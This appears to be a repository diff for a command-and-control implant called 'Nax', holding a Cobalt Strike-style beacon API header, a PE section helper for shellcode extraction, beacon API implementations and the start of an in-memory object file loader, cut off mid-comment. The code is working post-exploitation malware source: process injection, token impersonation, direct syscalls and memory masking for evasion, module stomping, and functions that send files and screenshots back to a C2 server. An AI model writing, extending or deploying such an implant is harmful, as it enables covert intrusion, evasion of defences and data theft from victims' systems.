/* format API */
typedef struct {
char* original; /* the original buffer [so we can free it] */
char* buffer; /* current pointer into our buffer */
int length; /* remaining length of data */
int size; /* total size of this buffer */
} formatp;
void BeaconFormatAlloc(formatp* format, int maxsz);
void BeaconFormatReset(formatp* format);
void BeaconFormatAppend(formatp* format, const char* text, int len);
void BeaconFormatPrintf(formatp* format, const char* fmt, ...);
char* BeaconFormatToString(formatp* format, int* size);
void BeaconFormatFree(formatp* format);
void BeaconFormatInt(formatp* format, int value);
/* Output Functions */
#define CALLBACK_OUTPUT 0x0
#define CALLBACK_OUTPUT_OEM 0x1e
#define CALLBACK_OUTPUT_UTF8 0x20
#define CALLBACK_ERROR 0x0d
#define CALLBACK_CUSTOM 0x1000
#define CALLBACK_CUSTOM_LAST 0x13ff
void BeaconOutput(int type, const char* data, int len);
void BeaconPrintf(int type, const char* fmt, ...);
/* Token Functions */
BOOL BeaconUseToken(HANDLE token);
void BeaconRevertToken();
BOOL BeaconIsAdmin();
/* Spawn+Inject Functions */
void BeaconGetSpawnTo(BOOL x86, char* buffer, int length);
void BeaconInjectProcess(HANDLE hProc, int pid, char* payload, int p_len, int p_offset, char* arg, int a_len);
void BeaconInjectTemporaryProcess(PROCESS_INFORMATION* pInfo, char* payload, int p_len, int p_offset, char* arg, int a_len);
BOOL BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO* si, PROCESS_INFORMATION* pInfo);
void BeaconCleanupProcess(PROCESS_INFORMATION* pInfo);
/* Utility Functions */
BOOL toWideChar(char* src, wchar_t* dst, int max);
/* Beacon Information */
/*
* ptr - pointer to the base address of the allocated memory.
* size - the number of bytes allocated for the ptr.
*/
typedef struct {
char* ptr;
size_t size;
} HEAP_RECORD;
#define MASK_SIZE 13
/* Information the user can set in the USER_DATA via a UDRL */
typedef enum {
PURPOSE_EMPTY,
PURPOSE_GENERIC_BUFFER,
PURPOSE_BEACON_MEMORY,
PURPOSE_SLEEPMASK_MEMORY,
PURPOSE_BOF_MEMORY,
PURPOSE_USER_DEFINED_MEMORY = 1000
} ALLOCATED_MEMORY_PURPOSE;
typedef enum {
LABEL_EMPTY,
LABEL_BUFFER,
LABEL_PEHEADER,
LABEL_TEXT,
LABEL_RDATA,
LABEL_DATA,
LABEL_PDATA,
LABEL_RELOC,
LABEL_USER_DEFINED = 1000
} ALLOCATED_MEMORY_LABEL;
typedef enum {
METHOD_UNKNOWN,
METHOD_VIRTUALALLOC,
METHOD_HEAPALLOC,
METHOD_MODULESTOMP,
METHOD_NTMAPVIEW,
METHOD_USER_DEFINED = 1000,
} ALLOCATED_MEMORY_ALLOCATION_METHOD;
/**
* This structure allows the user to provide additional information
* about the allocated heap for cleanup. It is mandatory to provide
* the HeapHandle but the DestroyHeap Boolean can be used to indicate
* whether the clean up code should destroy the heap or simply free the pages.
* This is useful in situations where a loader allocates memory in the
* processes current heap.
*/
typedef struct _HEAPALLOC_INFO {
PVOID HeapHandle;
BOOL DestroyHeap;
} HEAPALLOC_INFO, * PHEAPALLOC_INFO;
typedef struct _MODULESTOMP_INFO {
HMODULE ModuleHandle;
} MODULESTOMP_INFO, * PMODULESTOMP_INFO;
typedef union _ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION {
HEAPALLOC_INFO HeapAllocInfo;
MODULESTOMP_INFO ModuleStompInfo;
PVOID Custom;
} ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION, * PALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION;
typedef struct _ALLOCATED_MEMORY_CLEANUP_INFORMATION {
BOOL Cleanup;
ALLOCATED_MEMORY_ALLOCATION_METHOD AllocationMethod;
ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION AdditionalCleanupInformation;
} ALLOCATED_MEMORY_CLEANUP_INFORMATION, * PALLOCATED_MEMORY_CLEANUP_INFORMATION;
typedef struct _ALLOCATED_MEMORY_SECTION {
ALLOCATED_MEMORY_LABEL Label; // A label to simplify Sleepmask development
PVOID BaseAddress; // Pointer to virtual address of section
SIZE_T VirtualSize; // Virtual size of the section
DWORD CurrentProtect; // Current memory protection of the section
DWORD PreviousProtect; // The previous memory protection of the section (prior to masking/unmasking)
BOOL MaskSection; // A boolean to indicate whether the section should be masked
} ALLOCATED_MEMORY_SECTION, * PALLOCATED_MEMORY_SECTION;
typedef struct _ALLOCATED_MEMORY_REGION {
ALLOCATED_MEMORY_PURPOSE Purpose; // A label to indicate the purpose of the allocated memory
PVOID AllocationBase; // The base address of the allocated memory block
SIZE_T RegionSize; // The size of the allocated memory block
DWORD Type; // The type of memory allocated
ALLOCATED_MEMORY_SECTION Sections[8]; // An array of section information structures
ALLOCATED_MEMORY_CLEANUP_INFORMATION CleanupInformation; // Information required to cleanup the allocation
} ALLOCATED_MEMORY_REGION, * PALLOCATED_MEMORY_REGION;
typedef struct {
ALLOCATED_MEMORY_REGION AllocatedMemoryRegions[6];
} ALLOCATED_MEMORY, * PALLOCATED_MEMORY;
/*
* version - The version of the beacon dll was added for release 4.10
* version format: 0xMMmmPP, where MM = Major, mm = Minor, and PP = Patch
* e.g. 0x040900 -> CS 4.9
* 0x041000 -> CS 4.10
*
* sleep_mask_ptr - pointer to the sleep mask base address
* sleep_mask_text_size - the sleep mask text section size
* sleep_mask_total_size - the sleep mask total memory size
*
* beacon_ptr - pointer to beacon's base address
* The stage.obfuscate flag affects this value when using CS default loader.
* true: beacon_ptr = allocated_buffer - 0x1000 (Not a valid address)
* false: beacon_ptr = allocated_buffer (A valid address)
* For a UDRL the beacon_ptr will be set to the 1st argument to DllMain
* when the 2nd argument is set to DLL_PROCESS_ATTACH.
* heap_records - list of memory addresses on the heap beacon wants to mask.
* The list is terminated by the HEAP_RECORD.ptr set to NULL.
* mask - the mask that beacon randomly generated to apply
*
* Added in version 4.10
* allocatedMemory - An ALLOCATED_MEMORY structure that can be set in the USER_DATA
* via a UDRL.
*/
typedef struct {
unsigned int version;
char* sleep_mask_ptr;
DWORD sleep_mask_text_size;
DWORD sleep_mask_total_size;
char* beacon_ptr;
HEAP_RECORD* heap_records;
char mask[MASK_SIZE];
ALLOCATED_MEMORY allocatedMemory;
} BEACON_INFO, * PBEACON_INFO;
BOOL BeaconInformation(PBEACON_INFO info);
/* Key/Value store functions
* These functions are used to associate a key to a memory address and save
* that information into beacon. These memory addresses can then be
* retrieved in a subsequent execution of a BOF.
*
* key - the key will be converted to a hash which is used to locate the
* memory address.
*
* ptr - a memory address to save.
*
* Considerations:
* - The contents at the memory address is not masked by beacon.
* - The contents at the memory address is not released by beacon.
*
*/
BOOL BeaconAddValue(const char* key, void* ptr);
void* BeaconGetValue(const char* key);
BOOL BeaconRemoveValue(const char* key);
/* Beacon Data Store functions
* These functions are used to access items in Beacon's Data Store.
* BeaconDataStoreGetItem returns NULL if the index does not exist.
*
* The contents are masked by default, and BOFs must unprotect the entry
* before accessing the data buffer. BOFs must also protect the entry
* after the data is not used anymore.
*
*/
#define DATA_STORE_TYPE_EMPTY 0
#define DATA_STORE_TYPE_GENERAL_FILE 1
typedef struct {
int type;
DWORD64 hash;
BOOL masked;
char* buffer;
size_t length;
} DATA_STORE_OBJECT, * PDATA_STORE_OBJECT;
PDATA_STORE_OBJECT BeaconDataStoreGetItem(size_t index);
void BeaconDataStoreProtectItem(size_t index);
void BeaconDataStoreUnprotectItem(size_t index);
ULONG BeaconDataStoreMaxEntries();
/* Beacon User Data functions */
char* BeaconGetCustomUserData();
/* Beacon System call */
/* Syscalls API */
typedef struct
{
PVOID fnAddr;
PVOID jmpAddr;
DWORD sysnum;
} SYSCALL_API_ENTRY, * PSYSCALL_API_ENTRY;
typedef struct
{
SYSCALL_API_ENTRY ntAllocateVirtualMemory;
SYSCALL_API_ENTRY ntProtectVirtualMemory;
SYSCALL_API_ENTRY ntFreeVirtualMemory;
SYSCALL_API_ENTRY ntGetContextThread;
SYSCALL_API_ENTRY ntSetContextThread;
SYSCALL_API_ENTRY ntResumeThread;
SYSCALL_API_ENTRY ntCreateThreadEx;
SYSCALL_API_ENTRY ntOpenProcess;
SYSCALL_API_ENTRY ntOpenThread;
SYSCALL_API_ENTRY ntClose;
SYSCALL_API_ENTRY ntCreateSection;
SYSCALL_API_ENTRY ntMapViewOfSection;
SYSCALL_API_ENTRY ntUnmapViewOfSection;
SYSCALL_API_ENTRY ntQueryVirtualMemory;
SYSCALL_API_ENTRY ntDuplicateObject;
SYSCALL_API_ENTRY ntReadVirtualMemory;
SYSCALL_API_ENTRY ntWriteVirtualMemory;
SYSCALL_API_ENTRY ntReadFile;
SYSCALL_API_ENTRY ntWriteFile;
SYSCALL_API_ENTRY ntCreateFile;
} SYSCALL_API, * PSYSCALL_API;
/* Additional Run Time Library (RTL) addresses used to support system calls.
* If they are not set then system calls that require them will fall back
* to the Standard Windows API.
*
* Required to support the following system calls:
* ntCreateFile
*/
typedef struct
{
PVOID rtlDosPathNameToNtPathNameUWithStatusAddr;
PVOID rtlFreeHeapAddr;
PVOID rtlGetProcessHeapAddr;
} RTL_API, * PRTL_API;
typedef struct
{
PSYSCALL_API syscalls;
PRTL_API rtls;
} BEACON_SYSCALLS, * PBEACON_SYSCALLS;
BOOL BeaconGetSyscallInformation(PBEACON_SYSCALLS info, BOOL resolveIfNotInitialized);
///* Beacon System call functions which will use the current system call method */
LPVOID BeaconVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
LPVOID BeaconVirtualAllocEx(HANDLE processHandle, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
BOOL BeaconVirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
BOOL BeaconVirtualProtectEx(HANDLE processHandle, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
BOOL BeaconVirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);
BOOL BeaconGetThreadContext(HANDLE threadHandle, PCONTEXT threadContext);
BOOL BeaconSetThreadContext(HANDLE threadHandle, PCONTEXT threadContext);
DWORD BeaconResumeThread(HANDLE threadHandle);
HANDLE BeaconOpenProcess(DWORD desiredAccess, BOOL inheritHandle, DWORD processId);
HANDLE BeaconOpenThread(DWORD desiredAccess, BOOL inheritHandle, DWORD threadId);
BOOL BeaconCloseHandle(HANDLE object);
BOOL BeaconUnmapViewOfFile(LPCVOID baseAddress);
SIZE_T BeaconVirtualQuery(LPCVOID address, PMEMORY_BASIC_INFORMATION buffer, SIZE_T length);
BOOL BeaconDuplicateHandle(HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions);
BOOL BeaconReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesRead);
BOOL BeaconWriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesWritten);
/* Beacon User Data
*
* version format: 0xMMmmPP, where MM = Major, mm = Minor, and PP = Patch
* e.g. 0x040900 -> CS 4.9
* 0x041000 -> CS 4.10
*/
#define DLL_BEACON_USER_DATA 0x0d
#define BEACON_USER_DATA_CUSTOM_SIZE 32
typedef struct
{
unsigned int version;
PSYSCALL_API syscalls;
char custom[BEACON_USER_DATA_CUSTOM_SIZE];
PRTL_API rtls;
PALLOCATED_MEMORY allocatedMemory;
} USER_DATA, * PUSER_DATA;
#ifdef __cplusplus
}
#endif // __cplusplus
BOOL BeaconRegisterThreadCallback(PVOID callbackFunction, PVOID callbackData);
BOOL BeaconUnregisterThreadCallback();
void BeaconWakeup();
HANDLE BeaconGetStopJobEvent();
File diff suppressed because it is too large Load Diff
+26
View File
@@ -0,0 +1,26 @@
#!/usr/bin/env python3
"""Print the .text section VirtualAddress (RVA) from a PE file as 8 hex chars."""
import struct, sys
with open(sys.argv[1], "rb") as f:
f.seek(0x3C)
pe_off = struct.unpack("<I", f.read(4))[0]
f.seek(pe_off + 4) # skip "PE\0\0"
num_sections = struct.unpack("<HH", f.read(4))[1] # machine, num_sections
f.read(12) # skip rest of COFF timestamps etc
opt_size = struct.unpack("<H", f.read(2))[0]
f.read(2) # characteristics
sec_table = pe_off + 4 + 20 + opt_size
for i in range(num_sections):
f.seek(sec_table + i * 40)
name = f.read(8).rstrip(b"\x00").decode("ascii", errors="replace")
vsize, vaddr = struct.unpack("<II", f.read(8))
if name == ".text":
print(f"{vaddr:08x}")
sys.exit(0)
print("ERROR: .text section not found", file=sys.stderr)
sys.exit(1)
+291
View File
@@ -0,0 +1,291 @@
/* beacon/src/Bof/Api.c
* Beacon API implementations - BeaconOutput, BeaconDataParse/Int/Short/Length/Extract,
* BeaconPrintf, BeaconIsAdmin, BeaconFormat*.
*
* All functions use G_INSTANCE to access NAX_INSTANCE via TEB ArbitraryUserPointer.
* BeaconOutput accumulates output in NAX_INSTANCE.BofCtx.Buf (heap, BOF-lifetime only).
* BeaconFormatAlloc allocates from the beacon heap; caller must call BeaconFormatFree. */
/* included by Loader.c (unity build) - headers already in scope */
#ifndef _NAX_BOF_UNITY_BUILD_
#include "Macros.h"
#include "Instance.h"
#endif /* _NAX_BOF_UNITY_BUILD_ */
#include "Common.h"
#include "Bof.h"
/* ========= [ output ] ========= */
FUNC VOID BeaconOutput( INT type, const CHAR* data, INT len ) {
G_INSTANCE;
if ( !Nax || len <= 0 || !data ) return;
NAX_BOF_CTX* ctx = &Nax->BofCtx;
if ( !ctx->Buf ) return;
/* Adaptix sends each BeaconOutput call as a separate message. We
* concatenate into one buffer, so insert '\n' between consecutive
* calls when the previous one didn't end with one. */
if ( ctx->Len > 0 && ctx->Buf[ ctx->Len - 1 ] != '\n' ) {
UINT32 sp = ( ctx->Cap > ctx->Len + 1u ) ? 1u : 0u;
if ( sp ) { ctx->Buf[ ctx->Len ] = '\n'; ctx->Len++; }
}
/* leave 1 byte for null terminator */
UINT32 space = ( ctx->Cap > ctx->Len + 1u ) ? ( ctx->Cap - ctx->Len - 1u ) : 0;
if ( space == 0 ) return;
UINT32 copy = ( (UINT32)len <= space ) ? (UINT32)len : space;
MmCopy( ctx->Buf + ctx->Len, (PVOID)data, copy );
ctx->Len += copy;
ctx->Buf[ctx->Len] = '\0';
}
FUNC VOID BeaconPrintf( INT type, const CHAR* fmt, ... ) {
G_INSTANCE;
if ( !Nax ) return;
CHAR buf[1024];
__builtin_va_list args;
__builtin_va_start( args, fmt );
INT n = Nax->Ntdll._vsnprintf( buf, sizeof( buf ) - 1, fmt, args );
__builtin_va_end( args );
if ( n < 0 || n >= (INT)( sizeof( buf ) - 1 ) ) n = (INT)( sizeof( buf ) - 1 );
buf[ n ] = '\0';
BeaconOutput( type, buf, n );
}
/* ========= [ data parsing ] ========= */
/* BeaconDataPtr - advance parser by 'size' bytes and return the pointer.
* Unlike BeaconDataExtract it does NOT read a length prefix; the caller
* already knows the size (e.g. a fixed-size struct). */
FUNC CHAR* BeaconDataPtr( datap* parser, INT size ) {
if ( size <= 0 || size > parser->length ) return NULL;
CHAR* ptr = parser->buffer;
parser->buffer += size;
parser->length -= size;
return ptr;
}
/* ax.bof_pack() / CS bof_pack() prefix the packed args with a 4-byte LE total-length
* header before the first field. Skip those 4 bytes so BeaconDataExtract/Int read
* the actual field sequence. This matches the public CS beacon.h reference. */
FUNC VOID BeaconDataParse( datap* parser, CHAR* buffer, INT size ) {
INT header = ( size >= 4 ) ? 4 : 0;
parser->original = buffer + header;
parser->buffer = buffer + header;
parser->length = size - header;
parser->size = size - header;
}
FUNC INT BeaconDataInt( datap* parser ) {
if ( parser->length < 4 ) return 0;
INT val = (INT)( (BYTE)parser->buffer[0]
| ( (BYTE)parser->buffer[1] << 8 )
| ( (BYTE)parser->buffer[2] << 16 )
| ( (BYTE)parser->buffer[3] << 24 ) );
parser->buffer += 4;
parser->length -= 4;
return val;
}
FUNC SHORT BeaconDataShort( datap* parser ) {
if ( parser->length < 2 ) return 0;
SHORT val = (SHORT)( (BYTE)parser->buffer[0] | ( (BYTE)parser->buffer[1] << 8 ) );
parser->buffer += 2;
parser->length -= 2;
return val;
}
FUNC INT BeaconDataLength( datap* parser ) {
return parser->length;
}
/* Extract reads a 4-byte LE length prefix then returns a pointer into the buffer. */
FUNC CHAR* BeaconDataExtract( datap* parser, INT* size ) {
if ( parser->length < 4 ) return NULL;
INT len = BeaconDataInt( parser );
if ( len < 0 || len > parser->length ) return NULL;
CHAR* ptr = parser->buffer;
parser->buffer += len;
parser->length -= len;
if ( size ) *size = len;
return ptr;
}
/* ========= [ utility ] ========= */
FUNC BOOL BeaconIsAdmin( VOID ) {
return FALSE; /* Phase 7A stub */
}
FUNC BOOL BeaconUseToken( HANDLE token ) {
G_INSTANCE;
if ( !Nax || !Nax->Advapi32.ImpersonateLoggedOnUser ) return FALSE;
return Nax->Advapi32.ImpersonateLoggedOnUser( token );
}
FUNC VOID BeaconRevertToken( VOID ) {
G_INSTANCE;
if ( Nax && Nax->Advapi32.RevertToSelf )
Nax->Advapi32.RevertToSelf();
}
FUNC VOID BeaconGetSpawnTo( BOOL x86, CHAR* buffer, INT length ) {
(void)x86; (void)buffer; (void)length;
/* Phase 7A stub */
}
FUNC BOOL BeaconInformation( PVOID info ) {
(void)info;
return FALSE; /* Phase 7A stub */
}
/* toWideChar - thin wrapper around MultiByteToWideChar; widely used by BOFs */
FUNC BOOL toWideChar( CHAR* src, WCHAR* dst, INT max ) {
G_INSTANCE;
if ( !Nax || !src || !dst || max <= 0 ) return FALSE;
INT n = Nax->Kernel32.MultiByteToWideChar( CP_ACP, 0, src, -1, dst, max );
return ( n > 0 );
}
/* ========= [ Adaptix extensions ] ========= */
/* Helper: write 4-byte LE integer - avoids pulling in Packer.c from the unity build. */
static VOID AxW32( PBYTE p, UINT32 v ) {
p[0] = (BYTE)v; p[1] = (BYTE)(v>>8); p[2] = (BYTE)(v>>16); p[3] = (BYTE)(v>>24);
}
/* AxBofMediaAppend - allocate a NAX_BOF_MEDIA node and prepend to MediaHead. */
static VOID AxBofMediaAppend( PNAX_INSTANCE Nax, PBYTE data, UINT32 len ) {
NAX_BOF_MEDIA* node = (NAX_BOF_MEDIA*)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, sizeof( NAX_BOF_MEDIA ) );
if ( !node ) { Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, data ); return; }
node->Data = data;
node->Len = len;
node->Next = Nax->BofCtx.MediaHead;
Nax->BofCtx.MediaHead = node;
}
/* AxAddScreenshot - sends a screenshot image back to the Adaptix server.
* Packs as: [0x81][note_len(4LE)][note][img_len(4LE)][img]
* Appended to BofCtx.MediaHead so multiple media per BOF are supported. */
FUNC VOID AxAddScreenshot( CHAR* note, CHAR* data, INT len ) {
G_INSTANCE;
if ( !Nax || !data || len <= 0 ) return;
UINT32 note_len = 0;
if ( note ) { const PCHAR p = note; while ( p[note_len] ) note_len++; }
UINT32 total = 1u + 4u + note_len + 4u + (UINT32)len;
PBYTE buf = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, total );
if ( !buf ) return;
PBYTE p = buf;
*p++ = CALLBACK_AX_SCREENSHOT;
AxW32( p, note_len ); p += 4;
if ( note_len ) { MmCopy( p, note, note_len ); p += note_len; }
AxW32( p, (UINT32)len ); p += 4;
MmCopy( p, data, (UINT32)len );
AxBofMediaAppend( Nax, buf, total );
}
/* AxDownloadMemory - sends a file download back to the Adaptix server.
* Packs as: [0x82][name_len(4LE)][name][data_len(4LE)][data]
* Appended to BofCtx.MediaHead so multiple downloads per BOF are supported. */
FUNC VOID AxDownloadMemory( CHAR* filename, CHAR* data, INT len ) {
G_INSTANCE;
if ( !Nax || !data || len <= 0 ) return;
UINT32 name_len = 0;
if ( filename ) { const PCHAR p = filename; while ( p[name_len] ) name_len++; }
UINT32 total = 1u + 4u + name_len + 4u + (UINT32)len;
PBYTE buf = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, total );
if ( !buf ) return;
PBYTE p = buf;
*p++ = CALLBACK_AX_DOWNLOAD_MEM;
AxW32( p, name_len ); p += 4;
if ( name_len ) { MmCopy( p, filename, name_len ); p += name_len; }
AxW32( p, (UINT32)len ); p += 4;
MmCopy( p, data, (UINT32)len );
AxBofMediaAppend( Nax, buf, total );
}
/* ========= [ async BOF APIs ] ========= */
FUNC VOID BeaconWakeup( VOID ) {
G_INSTANCE;
if ( !Nax || !Nax->JobWakeEvent ) return;
Nax->Kernel32.SetEvent( Nax->JobWakeEvent );
}
FUNC HANDLE BeaconGetStopJobEvent( VOID ) {
G_INSTANCE;
if ( !Nax || !Nax->CurrentJob ) return NULL;
return Nax->CurrentJob->hStopEvent;
}
/* ========= [ format buffer ] ========= */
FUNC VOID BeaconFormatAlloc( formatp* format, INT maxsz ) {
G_INSTANCE;
if ( !Nax || maxsz <= 0 ) { format->original = NULL; return; }
format->original = (CHAR*)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, (SIZE_T)maxsz );
format->buffer = format->original;
format->length = 0;
format->size = maxsz;
}
FUNC VOID BeaconFormatReset( formatp* format ) {
format->buffer = format->original;
format->length = 0;
if ( format->original && format->size > 0 )
format->original[0] = '\0';
}
FUNC VOID BeaconFormatFree( formatp* format ) {
G_INSTANCE;
if ( !Nax || !format->original ) return;
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, format->original );
format->original = NULL;
format->buffer = NULL;
format->length = 0;
format->size = 0;
}
FUNC VOID BeaconFormatAppend( formatp* format, CHAR* text, INT len ) {
if ( !format->original || format->length + len >= format->size ) return;
MmCopy( format->buffer, text, (UINT32)len );
format->buffer += len;
format->length += len;
}
FUNC VOID BeaconFormatPrintf( formatp* format, CHAR* fmt, ... ) {
G_INSTANCE;
if ( !Nax || !format->original ) return;
CHAR buf[512];
__builtin_va_list args;
__builtin_va_start( args, fmt );
INT n = Nax->Ntdll._vsnprintf( buf, sizeof( buf ) - 1, fmt, args );
__builtin_va_end( args );
if ( n > 0 ) BeaconFormatAppend( format, buf, n );
}
FUNC CHAR* BeaconFormatToString( formatp* format, INT* size ) {
if ( size ) *size = format->length;
return format->original;
}
FUNC VOID BeaconFormatInt( formatp* format, INT value ) {
/* Pack as 4-byte big-endian (network order - Cobalt Strike convention) */
CHAR buf[4];
buf[0] = (CHAR)( ( value >> 24 ) & 0xFF );
buf[1] = (CHAR)( ( value >> 16 ) & 0xFF );
buf[2] = (CHAR)( ( value >> 8 ) & 0xFF );
buf[3] = (CHAR)( value & 0xFF );
BeaconFormatAppend( format, buf, 4 );
}
+773
View File
@@ -0,0 +1,773 @@
/* beacon/src/Bof/Loader.c [unity build - includes Api.c + Stomp.c]
*
* All three source files (Loader + Api + Stomp) are compiled as ONE translation
* unit so that NaxBofInitApiTable's reference to BeaconOutput, BeaconDataParse
* etc. are INTRA-unit. Cross-unit references on MinGW PE targets produce
* .refptr.* stubs that live outside .text; since we extract only .text for the
* shellcode binary those stubs are unavailable at runtime and the addresses come
* out as the link-time offsets (e.g. 0x43AA) instead of runtime addresses.
* A single TU forces direct lea rip-relative addressing - no .refptr.* needed. */
#include "Nax.h"
#include "Common.h"
#include "Bof.h"
/* ---- pull in Api.c and Stomp.c as part of this translation unit ----
* Define unity-build guard so their Macros.h/Instance.h guards are skipped
* (they're already in scope from the includes above). */
#define _NAX_BOF_UNITY_BUILD_
#include "Api.c"
#include "Stomp.c"
#undef _NAX_BOF_UNITY_BUILD_
/* ========= [ helpers ] ========= */
/* Get the symbol's name - handles both short (≤8 bytes embedded) and long (string table). */
static PCHAR SymName( PCOF_SYMBOL sym, PCHAR strtab ) {
if ( sym->Name.Short == 0 )
return strtab + sym->Name.Long;
return sym->cName;
}
/* NaxHashStrMod: FNV1a-32 of 'len' bytes from str, lowercased, then ".dll" appended.
* Used to match BOF Win32 symbol module names (e.g. "KERNEL32") against the PEB. */
static UINT32 NaxHashStrMod( const PCHAR str, UINT32 len ) {
UINT32 h = 0x811C9DC5u;
for ( UINT32 i = 0; i < len; i++ ) {
BYTE c = (BYTE)str[i];
if ( c >= 'A' && c <= 'Z' ) c += 0x20;
h ^= c;
h *= 0x01000193u;
}
CHAR dll[] = { '.', 'd', 'l', 'l', '\0' };
for ( INT i = 0; dll[i]; i++ ) {
h ^= (BYTE)dll[i];
h *= 0x01000193u;
}
return h;
}
/* ========= [ Beacon API table ] ========= */
/* Macro forces separate runtime lea/mov per entry - never uses compound literal
* struct init which the compiler may lay out in .data with link-time addresses. */
#define _API(i, h, fn) do { tbl[(i)].Hash = (h); tbl[(i)].Proc = (PVOID)(fn); } while(0)
static VOID NaxBofInitApiTable( NAX_BOF_API* tbl, PNAX_INSTANCE Nax ) {
_API( 0, H_BOF_BEACONDATAPARSE, BeaconDataParse );
_API( 1, H_BOF_BEACONDATAINT, BeaconDataInt );
_API( 2, H_BOF_BEACONDATASHORT, BeaconDataShort );
_API( 3, H_BOF_BEACONDATALENGTH, BeaconDataLength );
_API( 4, H_BOF_BEACONDATAEXTRACT, BeaconDataExtract );
_API( 5, H_BOF_BEACONOUTPUT, BeaconOutput );
_API( 6, H_BOF_BEACONPRINTF, BeaconPrintf );
_API( 7, H_BOF_BEACONISADMIN, BeaconIsAdmin );
_API( 8, H_BOF_BEACONFORMATALLOC, BeaconFormatAlloc );
_API( 9, H_BOF_BEACONFORMATRESET, BeaconFormatReset );
_API( 10, H_BOF_BEACONFORMATFREE, BeaconFormatFree );
_API( 11, H_BOF_BEACONFORMATAPPEND, BeaconFormatAppend );
_API( 12, H_BOF_BEACONFORMATPRINTF, BeaconFormatPrintf );
_API( 13, H_BOF_BEACONFORMATTOSTRING, BeaconFormatToString );
_API( 14, H_BOF_BEACONFORMATINT, BeaconFormatInt );
_API( 15, H_BOF_BEACONDATAPTR, BeaconDataPtr );
_API( 16, H_BOF_BEACONUSETOKEN, BeaconUseToken );
_API( 17, H_BOF_BEACONREVERTTOKEN, BeaconRevertToken );
_API( 18, H_BOF_BEACONGETSPAWNTO, BeaconGetSpawnTo );
_API( 19, H_BOF_BEACONINFORMATION, BeaconInformation );
_API( 20, H_BOF_TOWIDECHAR, toWideChar );
_API( 21, H_BOF_AXADDSCREENSHOT, AxAddScreenshot );
_API( 22, H_BOF_AXDOWNLOADMEMORY, AxDownloadMemory );
/* Win32 proxy functions - bare LoadLibraryA/GetProcAddress/etc. from <windows.h>
* generate __imp_LoadLibraryA COFF symbols with no MODULE$ prefix. */
_API( 23, H_BOF_LOADLIBRARYA, Nax->Kernel32.LoadLibraryA );
_API( 24, H_BOF_GETPROCADDRESS, Nax->Kernel32.GetProcAddress );
_API( 25, H_BOF_GETMODULEHANDLEA, Nax->Kernel32.GetModuleHandleA );
_API( 26, H_BOF_FREELIBRARY, Nax->Kernel32.FreeLibrary );
/* async BOF APIs */
_API( 27, H_BOF_BEACONWAKEUP, BeaconWakeup );
_API( 28, H_BOF_BEACONGETSTOPJOBEVENT, BeaconGetStopJobEvent );
}
#undef _API
/* ========= [ external symbol resolution ] ========= */
static PVOID NaxBofResolveExternal( PNAX_INSTANCE Nax, PCHAR sym_name,
NAX_BOF_API* bofApiTable ) {
/* ---- Beacon API lookup (no '$' separator) ---- */
UINT32 sym_hash = NaxHashStr( sym_name );
for ( INT i = 0; i < NAX_BOF_API_COUNT; i++ ) {
if ( bofApiTable[i].Hash == sym_hash ) {
NaxDbg( Nax, "[bof] sym '%s' -> BeaconAPI[%d] %p", sym_name, i, bofApiTable[i].Proc );
return bofApiTable[i].Proc;
}
}
/* ---- Win32 API: MODULE$FUNCTION ---- */
UINT32 mod_len = 0;
while ( sym_name[ mod_len ] && sym_name[ mod_len ] != '$' ) mod_len++;
if ( sym_name[ mod_len ] != '$' ) {
/* Bare Win32 symbol (no MODULE$ prefix) - try kernel32 via GetProcAddress.
* Handles __imp_* symbols from <windows.h> declarations that aren't in the
* beacon API table (e.g. HeapAlloc, VirtualAlloc, etc.). */
PVOID proc = Nax->Kernel32.GetProcAddress( Nax->Kernel32.Handle, sym_name );
NaxDbg( Nax, "[bof] sym '%s' -> bare k32 fallback %p", sym_name, proc );
return proc;
}
PCHAR func_name = sym_name + mod_len + 1;
UINT32 mod_hash = NaxHashStrMod( sym_name, mod_len );
PVOID hMod = NaxGetModule( mod_hash );
if ( !hMod ) {
/* Build lowercase CHAR module name for LoadLibraryA */
CHAR mod_buf[64];
UINT32 i;
for ( i = 0; i < mod_len && i < 59; i++ ) {
CHAR c = sym_name[i];
if ( c >= 'A' && c <= 'Z' ) c += 0x20;
mod_buf[i] = c;
}
mod_buf[i++] = '.'; mod_buf[i++] = 'd';
mod_buf[i++] = 'l'; mod_buf[i++] = 'l';
mod_buf[i] = '\0';
NaxDbg( Nax, "[bof] sym '%s' -> LoadLibraryA('%s')", sym_name, mod_buf );
hMod = Nax->Kernel32.LoadLibraryA( mod_buf );
}
if ( !hMod ) {
NaxDbg( Nax, "[bof] sym '%s' -> module NOT FOUND", sym_name );
return NULL;
}
/* GetProcAddress handles forwarded exports (e.g. ole32!CreateStreamOnHGlobal →
* combase) that NaxGetProc misses when the target module isn't pre-loaded.
* BOF symbol names are available as strings so no hash lookup is needed. */
PVOID proc = Nax->Kernel32.GetProcAddress( hMod, func_name );
NaxDbg( Nax, "[bof] sym '%s' -> %p (mod=%p)", sym_name, proc, hMod );
return proc;
}
/* ========= [ section allocation ] ========= */
/* NON-STOMP: MEM_TOP_DOWN places all sections near the DLLs at 0x7FF9... so
